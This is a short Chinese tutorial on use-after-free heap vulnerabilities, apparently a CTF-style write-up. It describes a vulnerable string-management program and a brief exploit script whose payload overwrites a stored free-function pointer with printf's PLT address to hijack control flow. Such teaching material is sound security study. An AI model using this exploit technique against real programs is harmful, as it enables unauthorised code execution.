use after free

原理：uaf漏洞产生的主要原因是释放了一个堆块后，并没有将该指针置为NULL，这样导致该指针处于悬空的状态，同样被释放的内存如果被恶意构造数据，就有可能会被利用。

1、申请一段空间，并将其释放，释放后并不将指针置为空，因此这个指针仍然可以使用，把这个指针简称为p1。

2、申请空间p2，由于malloc分配的过程使得p2指向的空间为刚刚释放的p1指针的空间，构造恶意的数据将这段内存空间布局好，即覆盖了p1中的数据。

3、利用p1，一般多有一个函数指针，由于之前已使用p2将p1中的数据给覆盖了，所以此时的数据既是我们可控制的，即可能存在劫持函数流的情况。

漏洞程序：

typedef struct String{

union{

char \*buf;

char array[16];

} o;

int len;

void (\*free)(struct String \*ptr);

} String;

void createstr();

输入create 后，接着输入size，后输入具体的字符串。相关的数据结构则是：先申请0x20字节的堆块存储结构，如果输入的字符串长度大于0xf，则另外申请对应长度的空间存储字符串，否则直接存储在之前申请的0x20字节的前16字节处，在最后，会将相关free函数的地址存储在堆存储结构的后八字节处。

void deletestr();

调用存储在结构体里的free\_func这个指针来释放堆，由于在释放以后没有将指针置空，出现了释放后仍可利用的现象，即uaf。

攻击程序：

create\_sc(sock,'aa','8')

create\_sc(sock,'bb','8')

create\_sc(sock,'cc','8')

delete\_sc(sock,'0')

delete\_sc(sock,'1')

delete\_sc(sock,'2')

payload = 'a'\*16 + 'b'\*8 + p64(printf\_plt)

create\_sc(sock,payload,'32')

delete\_sc(sock,'1')

总思路：首先是利用uaf，利用堆块之间申请与释放的步骤，形成对free\_func指针的覆盖。从而达到劫持程序流的目的。具体来说，先申请的是三个字符创小于0xf的堆块，并将其释放。此时fastbin中空堆块的单链表结构如下左图，紧接着再申请一个字符串长度为0x20的字符串，此时，申请出来的堆中的数据会如下右图，此时后面申请出来的堆块与之前申请出来的1号堆块为同一内存空间，这时候输入的数据就能覆盖到1号堆块中的free\_func指针，指向我们需要执行的函数，随后再调用1号堆块的free\_func函数，即实现了劫持函数流的目的。

